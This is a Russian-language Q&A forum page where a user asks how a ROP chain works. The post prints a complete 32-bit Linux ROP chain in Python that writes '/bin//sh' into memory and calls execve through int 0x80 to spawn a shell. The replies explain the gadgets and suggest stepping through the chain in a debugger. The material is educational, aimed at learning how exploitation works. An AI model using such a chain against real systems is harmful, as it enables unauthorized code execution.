2015-04-04 5 views
-1

Мне нужна помощь, чтобы понять, как этот гаджет ROP (показано ниже) работает шаг за шагом. Я действительно смущен, почему здесь нужны инструкции mov и pop.Понимание гаджета ROP

p = "" 
p += pack('<I', 0x08139e7a) # pop edx ; ret 
p += pack('<I', 0x081e0060) # @ .data 
p += pack('<I', 0x080f3246) # pop eax ; ret 
p += '/bin' 
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret 
p += pack('<I', 0x08139e7a) # pop edx ; ret 
p += pack('<I', 0x081e0064) # @ .data + 4 
p += pack('<I', 0x080f3246) # pop eax ; ret 
p += '//sh' 
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret 
p += pack('<I', 0x08139e7a) # pop edx ; ret 
p += pack('<I', 0x081e0068) # @ .data + 8 
p += pack('<I', 0x08061150) # xor eax, eax ; ret 
p += pack('<I', 0x080d5fc8) # mov dword ptr [edx], eax ; ret 
p += pack('<I', 0x080481f1) # pop ebx ; ret 
p += pack('<I', 0x081e0060) # @ .data 
p += pack('<I', 0x0819d91d) # pop ecx ; ret 
p += pack('<I', 0x081e0068) # @ .data + 8 
p += pack('<I', 0x08139e7a) # pop edx ; ret 
p += pack('<I', 0x081e0068) # @ .data + 8 
p += pack('<I', 0x08061150) # xor eax, eax ; ret 
p += pack('<I', 0x080f7a28) # inc eax ; ret 
p += pack('<I', 0x080f7a28) # inc eax ; ret 
p += pack('<I', 0x080f7a28) # inc eax ; ret 
p += pack('<I', 0x080f7a28) # inc eax ; ret 
p += pack('<I', 0x080f7a28) # inc eax ; ret 
p += pack('<I', 0x080f7a28) # inc eax ; ret 
p += pack('<I', 0x080f7a28) # inc eax ; ret 
p += pack('<I', 0x080f7a28) # inc eax ; ret 
p += pack('<I', 0x080f7a28) # inc eax ; ret 
p += pack('<I', 0x080f7a28) # inc eax ; ret 
p += pack('<I', 0x080f7a28) # inc eax ; ret 
p += pack('<I', 0x0805726e) # int 0x80 
+0

Цепочка ROP сильно зависит от контекста регистров и памяти (будь то стек, куча, расположение модулей и т. Д.) В момент запуска ROP. Мы пропустим этот контекст. Кроме того, почему бы просто не попытаться запустить цепочку ROP с помощью гаджета, который указывает на 0xCC (точка останова) [или просто поставить точку останова при запуске эксплойта в вашей программе], а затем следовать цепочке с помощью отладчика. Вы сразу увидите, что происходит в цепочке. – Neitsa

ответ

2

Как вы уже знаете, эта цепочка создают параметры для execve системного вызова, который ожидает нулевую прекращено имени программы, NULL -завершённого массива с аргументом и -завершённым массивом окружения в NULL. Чтобы создать их, вам нужно вытолкнуть некоторые значения в память и загрузить некоторые регистры. Оригинальный автор нашел для этого полезные гаджеты. mov dword ptr [edx], eax ; ret позволяет записать произвольное слово dword (которое должно быть в eax) в произвольный адрес (который должен быть в edx). Чтобы получить значения в регистрах, гаджеты pop можно использовать, так как у вас есть контроль над стеком.

Очевидно, что это не единственный возможный способ, если вы найдете другие гаджеты ROP, вы можете создать другую цепочку.

Смежные вопросы